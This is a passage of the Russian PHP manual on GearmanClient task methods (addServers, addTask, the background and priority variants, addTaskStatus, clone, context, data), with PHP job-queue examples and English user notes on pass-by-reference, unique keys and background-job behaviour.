Список серверов, разделённых запятыми. Каждый сервер указан в формате 'host:port'.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление двух серверов задач

<?php

# Создаём наш клиентский объект
$gmclient= new GearmanClient();

# Добавляем несколько серверов задач, первый из них работает по умолчанию на порту 4730
$gmclient->addServers("10.0.0.1,10.0.0.2:7003");

?>

Смотрите также

  • GearmanClient::addServer() - Добавить сервер задач для клиента

User Contributed Notes

littlexiang521 at gmail dot com 21-Feb-2014 08:00
actually client side will throw an exception when any of the servers is down or unreachable instead like

Fatal error: Uncaught exception 'GearmanException' with message 'Failed to set exception option' in /var/www/ipao/Api/Q2/Test/gm-test.php:11
Stack trace:
#0 /var/www/ipao/Api/Q2/Test/gm-test.php(11): GearmanClient->addServer('xxx.xxx.xxx.xxx')
#1 {main}
jachimcoudenys at gmail dot com 30-Jul-2013 08:14
If you supply more than one server, it will always take the last server, unless it is unavailable. This is the way gearman works (and it is generally not a bad idea).

If you want to spread the jobs over multiple servers, you might want to shuffle the list of servers.


Добавить задачу, которая будет выполнена в параллельном режиме

  • « GearmanClient::addServers
  • GearmanClient::addTaskBackground »
  • PHP Manual
  • GearmanClient
  • Добавить задачу, которая будет выполнена в параллельном режиме

GearmanClient::addTask

(PECL gearman >= 0.5.0)

GearmanClient::addTask — Добавить задачу, которая будет выполнена в параллельном режиме

Описание

public GearmanClient::addTask(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет задачу для параллельной работы с другими задачами. Вызовите этот метод для всех задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ. Обратите внимание, что должно быть достаточное количество обработчиков для одновременного выполнения всех задач.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Примеры

Пример #1 Основное представление двух задач

<?php

# Создаём нашего клиента
$gmclient= new GearmanClient();

# Добавляем сервер задач по умолчанию
$gmclient->addServer();

# Устанавливаем функцию, которая будет вызвана по завершению работы
$gmclient->setCompleteCallback("complete");

# Добавляем задачу для выполнения функции reverse, переворачивающей строку "Hello World!"
$gmclient->addTask("reverse", "Hello World!", null, "1");

# Добавляем другую задачу, для выполнения функции reverse, переворачивающей строку "!dlroW olleH"
$gmclient->addTask("reverse", "!dlroW olleH", null, "2");

# Выполняем задачи
$gmclient->runTasks();

function complete($task)
{
print "Выполнено: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

Результатом выполнения данного примера будет что-то подобное:

Выполнено: 2, Hello World!
Выполнено: 1, !dlroW olleH

Пример #2 Основное представление двух задач с передачей контекста приложения

<?php

$client = new GearmanClient();
$client->addServer();

# Устанавливаем функцию, которая будет вызвана по завершению работы
$client->setCompleteCallback("reverse_complete");

# Добавим несколько задач и местоположение результатов
$results = array();
$client->addTask("reverse", "Hello World!", $results, "t1");
$client->addTask("reverse", "!dlroW olleH", $results, "t2");

$client->runTasks();

# Результаты должны быть заполнены из callback-функций
foreach ($results as $id => $result)
echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";

function reverse_complete($task, $results)
{
$results[$task->unique()] = array("handle"=>$task->jobHandle(), "data"=>$task->data());
}

?>

Результатом выполнения данного примера будет что-то подобное:

t2: H.foo:21, Hello World!
t1: H:foo:22, !dlroW olleH

Смотрите также

  • GearmanClient::addTaskHigh() - Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskLow() - Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskBackground() - Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground() - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground() - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 12:08
On PHP 5.5 you can use the following code for passing context by reference and avoid "Call-time pass-by-reference has been removed":

<?php
$client = new GearmanClient();
$client->addServer();

# Set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Use StdClass instead of array
$results = new StdClass();
$results->value = array();

# Add some tasks for a placeholder of where to put the results
$client->addTask("reverse", "Hello World!", $results, "t1");
$client->addTask("reverse", "!dlroW olleH", $results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results->value as $id => $result) {
    echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";
}

function reverse_complete(GearmanTask $task, StdClass $results)
{
    $results->value[$task->unique()] = array(
        "handle" => $task->jobHandle(),
        "data" => $task->data()
    );
}
?>
stanislav dot reshetnev at gmail dot com 31-Oct-2014 04:17
Note that param $unique must be different for multiple tasks if You want to run they all separately. If param $unique is equal for multiple tasks You will get the same task:

<?php
  $unique=1;

  $gclient = GearmanClient();
  $gclient->addServer('srv');

  $this->setCreatedCallback(function(GearmanTask $task) {
    print $task->jobHandle() . "\n";
  });

  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->runTasks();

  sleep(5);
?>

This sript will print only one handler:

H:srv:377382343
H:srv:377382343
H:srv:377382343
Jeremy Zerr 15-Nov-2013 06:14
As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in $client->addTask(..., ..., &$results, ...);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

So that means that when you call addTask with a context parameter as in the example above like this:

<?php
# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
?>

You get this "call-time pass-by-reference" warning (or error).  This can be avoided and still result in functional code by changing the context variable to be an object so that it is passed by reference like this:

<?php
$results = new \stdClass();
$client->addTask("reverse", "Hello World!", $results, "t1");
?>

Then for completeness, change the complete handler to expect a reference:

<?php
function reverse_complete($task, &$results) { ... }
?>

Then inside the complete handler, you can use the $results object to save your results to be accessible outside the complete handler.


Добавить фоновую задачу для работы в параллельном режиме

  • « GearmanClient::addTask
  • GearmanClient::addTaskHigh »
  • PHP Manual
  • GearmanClient
  • Добавить фоновую задачу для работы в параллельном режиме

GearmanClient::addTaskBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskBackground — Добавить фоновую задачу для работы в параллельном режиме

Описание

public GearmanClient::addTaskBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет фоновую задачу для параллельной работы с другими задачами. Вызовите этот метод для всех задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Примеры

Пример #1 Две задачи, одна в фоновом режиме, а другая нет

Этот пример иллюстрирует различие между выполнением фоновой задачи и обычной задачей. Клиент добавляет две задачи для выполнения одних и тех же функций, но одна добавлена с помощью addTaskBackground(). Callback-функция установлена так, чтобы выполнение задания можно было проследить. Простой обработчик с искусственной задержкой сообщает статус выполнения задания, и клиент понимает это посредством вызова callback-функции. Два обработчика запущены для этого примера. Обратите внимание, что фоновая задача не показывается в клиентском выводе.

<?php

# Клиентский скрипт

# Создание нашего клиента
$gmc= new GearmanClient();

# Добавление сервера задач по умолчанию
$gmc->addServer();

# Установка нескольких callback-функций. Таким образом, мы сможем отслеживать выполнение
$gmc->setCompleteCallback("reverse_complete");
$gmc->setStatusCallback("reverse_status");

# Добавление задачи для функции reverse
$task= $gmc->addTask("reverse", "Hello World!", null, "1");

# Добавление другой задачи, но она предназначена для запуска в фоновом режиме
$task= $gmc->addTaskBackground("reverse", "!dlroW olleH", null, "2");

if (! $gmc->runTasks())
{
echo "Ошибка " . $gmc->error() . "\n";
exit;
}

echo "Выполнено\n";

function reverse_status($task)
{
echo "Статус: " . $task->unique() . ", " . $task->jobHandle() . " - " . $task->taskNumerator() .
"/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
echo "Завершено: " . $task->unique() . ", " . $task->data() . "\n";
}

?>
<?php

# Скрипт обработчика

echo "Начало\n";

# Создаём наш объект обработчика
$gmworker= new GearmanWorker();

# Добавление сервера задач по умолчанию (localhost).
$gmworker->addServer();

# Регистрируем функцию reverse на сервере
$gmworker->addFunction("reverse", "reverse_fn");

print "Ожидание задачи...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "код возврата: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Полученная задача: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Рабочая нагрузка: $workload ($workload_size)\n";

# В этом цикле для отображения статуса нет необходимости. Просто для демонстрации, как это работает
for ($x= 0; $x < $workload_size; $x++)
{
echo "Отправка статуса: " . ($x + 1) . "/$workload_size выполнено\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Результат: $result\n";

# Возвращаем то, что мы хотим вернуть клиенту
return $result;
}

?>

Вывод рабочего для двух запущенных работников:

Полученная задача: H:foo.local:65
Рабочая нагрузка: !dlroW olleH (12)
1/12 выполнено
Полученная задача: H:foo.local:66
Рабочая нагрузка: Hello World! (12)
Отправка статуса: 1/12 выполнено
Отправка статуса: 2/12 выполнено
Отправка статуса: 2/12 выполнено
Отправка статуса: 3/12 выполнено
Отправка статуса: 3/12 выполнено
Отправка статуса: 4/12 выполнено
Отправка статуса: 4/12 выполнено
Отправка статуса: 5/12 выполнено
Отправка статуса: 5/12 выполнено
Отправка статуса: 6/12 выполнено
Отправка статуса: 6/12 выполнено
Отправка статуса: 7/12 выполнено
Отправка статуса: 7/12 выполнено
Отправка статуса: 8/12 выполнено
Отправка статуса: 8/12 выполнено
Отправка статуса: 9/12 выполнено
Отправка статуса: 9/12 выполнено
Отправка статуса: 10/12 выполнено
Отправка статуса: 10/12 выполнено
Отправка статуса: 11/12 выполнено
Отправка статуса: 11/12 выполнено
Отправка статуса: 12/12 выполнено
Отправка статуса: 12/12 выполнено
Результат: !dlroW olleH
Результат: Hello World!

Клиент выводит:

Статус: 1, H:foo.local:66 - 1/12
Статус: 1, H:foo.local:66 - 2/12
Статус: 1, H:foo.local:66 - 3/12
Статус: 1, H:foo.local:66 - 4/12
Статус: 1, H:foo.local:66 - 5/12
Статус: 1, H:foo.local:66 - 6/12
Статус: 1, H:foo.local:66 - 7/12
Статус: 1, H:foo.local:66 - 8/12
Статус: 1, H:foo.local:66 - 9/12
Статус: 1, H:foo.local:66 - 10/12
Статус: 1, H:foo.local:66 - 11/12
Статус: 1, H:foo.local:66 - 12/12
Завершено: 1, !dlroW olleH
Выполнено

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskHigh() - Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskLow() - Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground() - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground() - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

iunknowvb at gmail dot com 07-Oct-2017 06:35
function run_process($cmd,$outputFile = '/dev/null', $append = false){
                        $pid=0;
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            $cmd = 'wmic process call create "'.$cmd.'" | find "ProcessId"';
                            $handle = popen("start /B ". $cmd, "r");
                            $read = fread($handle, 200); //Read the output
                            $pid=substr($read,strpos($read,'=')+1);
                            $pid=substr($pid,0,strpos($pid,';') );
                            $pid = (int)$pid;
                            pclose($handle); //Close
                    }else{
                        $pid = (int)shell_exec(sprintf('%s %s %s 2>&1 & echo $!', $cmd, ($append) ? '>>' : '>', $outputFile));
                    }
                        return $pid;
                }
                function is_process_running($pid){
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            //tasklist /FI "PID eq 6480"
                        $result = shell_exec('tasklist /FI "PID eq '.$pid.'"' );
                        if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                            return true;
                        }
                    }else{
                        $result = shell_exec(sprintf('ps %d 2>&1', $pid));
                        if (count(preg_split("/\n/", $result)) > 2 && !preg_match('/ERROR: Process ID out of range/', $result)) {
                            return true;
                        }
                    }
                    return false;
                }
                function stop_process($pid){
                        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                                $result = shell_exec('taskkill /PID '.$pid );
                            if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                                return true;
                            }
                        }else{
                                $result = shell_exec(sprintf('kill %d 2>&1', $pid));
                            if (!preg_match('/No such process/', $result)) {
                                return true;
                            }
                        }
                }
                    $cmd='';
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                         $cmd=  $php_path.'\php.exe '.$path.'\long_process.php' ;
                    }else{
                        $cmd='/usr/bin/php -f  /var/www/example.com/public/long_process.php';
                    }

$pid=run_process($cmd);
raitech at gmail dot com 12-Nov-2015 10:47
This method seems only useful when you doesn't need to know something about the worker, when you can let runTasks() finishes its code and destroy the GearmanClient object without a problem.

If you need to get data from worker via callbacks, forget it after runTasks() finishes.

You have to block your execution in the GearmanClient "main loop", so it can call the callbacks. It seems that runTasks() is that "main loop".
Anonymous 31-Aug-2015 08:02
It is unlikely this example works quite as advertised.

The foreground job will block, however the background job should not.. (and if it does that's not documented Gearman behaviour far as I know and would not make sense for a Background job).

So, if the foreground job completes, then we would expect runTasks() to return at that moment, regardless of the status of the background job(s). With nothing else to do, the php script (the client) in this example would exit at that point.

To fully-utilize background jobs, it's reasonable to assume that we still wish to know their status. To do that, you need a polling loop that "checks up on them" and waits until their completion.

That eliminates the point of background jobs of course - because the client would still be Blocking (in a polling loop) more or less occupied, and unable to exit/finish.

So, in practice, background jobs mean you are decoupled from the client upon execution (because the main point is to free up the client, otherwise just use foreground execution), which means the client is likely going to exit, meaning the jobs themselves should be reporting their status and final result independently, not leaving it up to the client.

It's a significantly different setup compared to foreground jobs. In fact this example is kind of silly to even mix the two.

Nobody will ever see this post, because apparently nobody in the world has ever commented on the php gearman client, but it's a good post never the less.


Добавить высокоприоритетную задачу для работы в параллельном режиме

  • « GearmanClient::addTaskBackground
  • GearmanClient::addTaskHighBackground »
  • PHP Manual
  • GearmanClient
  • Добавить высокоприоритетную задачу для работы в параллельном режиме

GearmanClient::addTaskHigh

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHigh — Добавить высокоприоритетную задачу для работы в параллельном режиме

Описание

public GearmanClient::addTaskHigh(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет высокоприоритетную задачу для параллельной работы с другими задачами. Вызовите этот метод для всех высокоприоритетных задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ. Задачи с высоким приоритетом будут выбраны из очереди раньше задач с нормальным или низким приоритетом.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Примеры

Пример #1 Высокоприоритетная задача вместе с двумя обычными задачами

Высокоприоритетная задача включена в число двух других задач. Доступен единственный обработчик, так что задачи запускаются одна за другой, высокоприоритетные задачи выполняются в первую очередь.

<?php

# создание клиента
$gmc= new GearmanClient();

# добавление сервера задач по умолчанию
$gmc->addServer();

# установка callback-функции для уведомления о завершении задачи
$gmc->setCompleteCallback("reverse_complete");

# добавление задач, одна из которых высокоприоритетная
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskHigh("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
echo "Ошибка " . $gmc->error() . "\n";
exit;
}
echo "Выполнено\n";

function reverse_complete($task)
{
echo "Завершено: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

Результатом выполнения данного примера будет что-то подобное:

Завершено: 2, Hello World!
Завершено: 3, !dlroW olleH
Завершено: 1, !dlroW olleH
Выполнено

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskLow() - Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskBackground() - Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground() - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground() - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме

  • « GearmanClient::addTaskHigh
  • GearmanClient::addTaskLow »
  • PHP Manual
  • GearmanClient
  • Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме

GearmanClient::addTaskHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHighBackground — Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме

Описание

public GearmanClient::addTaskHighBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет высокоприоритетную фоновую задачу для параллельной работы с другими задачами. Вызовите этот метод для всех задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ. Задачи с высоким приоритетом будут выбраны из очереди раньше задач с нормальным или низким приоритетом.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskHigh() - Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskLow() - Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskBackground() - Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground() - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Добавить низкоприоритетную задачу для работы в параллельном режиме

  • « GearmanClient::addTaskHighBackground
  • GearmanClient::addTaskLowBackground »
  • PHP Manual
  • GearmanClient
  • Добавить низкоприоритетную задачу для работы в параллельном режиме

GearmanClient::addTaskLow

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLow — Добавить низкоприоритетную задачу для работы в параллельном режиме

Описание

public GearmanClient::addTaskLow(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет низкоприоритетную задачу для параллельной работы с другими задачами. Вызовите этот метод для всех задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ. Задачи с низким приоритетом будут выбраны из очереди после задач с нормальным или высоким приоритетом.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Примеры

Пример #1 Низкоприоритетная задача вместе с двумя обычными задачами

Низкоприоритетная задача включена среди двух других задач. Единственный обработчик доступен, так что задачи запускаются одна за другой, низкоприоритетные задачи выполняются в последнюю очередь.

<?php

# создание клиента
$gmc= new GearmanClient();

# добавление сервера задач по умолчанию
$gmc->addServer();

# установка функции обратного вызова по завершению задачи
$gmc->setCompleteCallback("reverse_complete");

# добавление задач, одна из которых с низким приоритетом
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskLow("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
echo "Ошибка " . $gmc->error() . "\n";
exit;
}
echo "Готово\n";

function reverse_complete($task)
{
echo "Выполнено: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

Результатом выполнения данного примера будет что-то подобное:

Выполнено: 3, !dlroW olleH
Выполнено: 1, !dlroW olleH
Выполнено: 2, Hello World!
Готово

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskHigh() - Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskBackground() - Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground() - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground() - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме

  • « GearmanClient::addTaskLow
  • GearmanClient::addTaskStatus »
  • PHP Manual
  • GearmanClient
  • Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме

GearmanClient::addTaskLowBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskLowBackground — Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме

Описание

public GearmanClient::addTaskLowBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Добавляет низкоприоритетную фоновую задачу для параллельной работы с другими задачами. Вызовите этот метод для всех задач, которые будут работать параллельно, а затем вызовите GearmanClient::runTasks() для выполнения работ. Задачи с низким приоритетом будут выбраны из очереди после задач с нормальным или высоким приоритетом.

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

Сериализованные данные, подлежащие обработке

context

Контекст приложения, связываемый с задачей

unique_key

Уникальный ID, назначаемый определённой задаче

Возвращаемые значения

Объект GearmanTask или false, если задача не может быть добавлена.

Смотрите также

  • GearmanClient::addTask() - Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskHigh() - Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskLow() - Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskBackground() - Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground() - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::runTasks() - Запустить список задач в параллельном режиме

User Contributed Notes

There are no user contributed notes for this page.


Добавить задачу для получения статуса

  • « GearmanClient::addTaskLowBackground
  • GearmanClient::clearCallbacks »
  • PHP Manual
  • GearmanClient
  • Добавить задачу для получения статуса

GearmanClient::addTaskStatus

(PECL gearman >= 0.5.0)

GearmanClient::addTaskStatus — Добавить задачу для получения статуса

Описание

public GearmanClient::addTaskStatus(string $job_handle, mixed $context = null): GearmanTask|false

Используется для запроса информации о состоянии с сервера Gearman, который будет вызывать указанный callback-функцию статуса (заданную через GearmanClient::setStatusCallback()).

Список параметров

job_handle

Дескриптор задания для получения статуса задачи

context

Данные, которые будут переданы обратному вызову. Обычно ссылка на массив или объект

Возвращаемые значения

Объект GearmanTask или false в случае возникновения ошибки.

Примеры

Пример #1 Мониторинг завершения нескольких фоновых задач

В этом примере представлена искусственная задержка в обработчике, чтобы смоделировать долгий рабочий процесс. Есть только один обработчик, запущенный для этого примера.

<?php

/* создание клиентского объекта */
$gmclient= new GearmanClient();

/* добавление сервера задач по умолчанию */
$gmclient->addServer();

/* запуск некоторых фоновых задач и сохранение дескрипторов */
$handles = array();
$handles[0] = $gmclient->doBackground("reverse", "Hello World!");
$handles[1] = $gmclient->doBackground("reverse", "!dlroW olleH");

$gmclient->setStatusCallback("reverse_status");

/* Опрос сервера с целью определения, когда завершатся фоновые задачи; */
/* лучшим методом может быть установка callback-функций на события */
do
{
/* используем контекстные переменные для отслеживания за тем, сколько задач выполнилось */
$done = 0;
$gmclient->addTaskStatus($handles[0], &$done);
$gmclient->addTaskStatus($handles[1], &$done);
$gmclient->runTasks();
echo "Выполнено: $done\n";
sleep(1);
}
while ($done != 2);

function reverse_status($task, $done)
{
if (!$task->isKnown())
$done++;
}

?>

Результатом выполнения данного примера будет что-то подобное:

Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 0
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 1
Выполнено: 2

Смотрите также

  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Очистить все функции обратного вызова данной задачи

  • « GearmanClient::addTaskStatus
  • GearmanClient::clone »
  • PHP Manual
  • GearmanClient
  • Очистить все функции обратного вызова данной задачи

GearmanClient::clearCallbacks

(PECL gearman >= 0.5.0)

GearmanClient::clearCallbacks — Очистить все функции обратного вызова данной задачи

Описание

public GearmanClient::clearCallbacks(): bool

Очищает все callback-функции задачи, которые были ранее установлены.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает true.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Создать копию объекта GearmanClient

  • « GearmanClient::clearCallbacks
  • GearmanClient::__construct »
  • PHP Manual
  • GearmanClient
  • Создать копию объекта GearmanClient

GearmanClient::clone

(PECL gearman >= 0.5.0)

GearmanClient::clone — Создать копию объекта GearmanClient

Описание

public GearmanClient::clone(): GearmanClient

Создаёт копию объекта GearmanClient.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

GearmanClient в случае успешного выполнения, false в случае неудачи.

User Contributed Notes

There are no user contributed notes for this page.


Создать экземпляр GearmanClient

  • « GearmanClient::clone
  • GearmanClient::context »
  • PHP Manual
  • GearmanClient
  • Создать экземпляр GearmanClient

GearmanClient::__construct

(PECL gearman >= 0.5.0)

GearmanClient::__construct — Создать экземпляр GearmanClient

Описание

public GearmanClient::__construct()

Создаёт экземпляр GearmanClient, представляющий клиента, который соединяется с сервером заданий и отправляет задачи для выполнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект GearmanClient.

Смотрите также

  • GearmanClient::clone() - Создать копию объекта GearmanClient

User Contributed Notes

There are no user contributed notes for this page.


Возвращает контекст приложения

  • « GearmanClient::__construct
  • GearmanClient::data »
  • PHP Manual
  • GearmanClient
  • Возвращает контекст приложения

GearmanClient::context

(PECL gearman >= 0.6.0)

GearmanClient::context — Возвращает контекст приложения

Описание

public GearmanClient::context(): string

Возвращает контекст, ранее установленный с помощью GearmanClient::setContext().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Та же самая структура данных контекста, приведённая в GearmanClient::setContext()

Смотрите также

  • GearmanClient::setContext() - Установить контекст приложения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные приложения (функция устарела)

  • « GearmanClient::context
  • GearmanClient::do »
  • PHP Manual
  • GearmanClient
  • Возвращает данные приложения (функция устарела)

GearmanClient::data

(PECL gearman <= 0.5.0)

GearmanClient::data — Возвращает данные приложения (функция устарела)

Описание

public GearmanClient::data(): string

Возвращает данные приложения, установленные ранее с помощью GearmanClient::setData().

Замечание:

Этот метод был заменён на GearmanClient::setContext() в версии 0.6.0 модуля Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Некие строковые данные, установленные GearmanClient::setData().

Смотрите также

  • GearmanClient::setData() - Установить данные приложения (устаревший метод)

User Contributed Notes

There are no user contributed notes for this page.


Выполняет одну задачу и возвращает результат [Устаревший метод]

  • « GearmanClient::data
  • GearmanClient::doBackground »
  • PHP Manual
  • GearmanClient
  • Выполняет одну задачу и возвращает результат [Устаревший метод]

GearmanClient::do

(PECL gearman >= 0.5.0)

GearmanClient::do — Выполняет одну задачу и возвращает результат [Устаревший метод]

Описание

public GearmanClient::do(string $function_name, string $workload, string $unique = ?): string

Метод GearmanClient::do() устарел, начиная с pecl/gearman 1.0.0. Используйте GearmanClient::doNormal().

Список параметров

function_name

Зарегистрированная функция, вызываемая рабочим процессом

workload

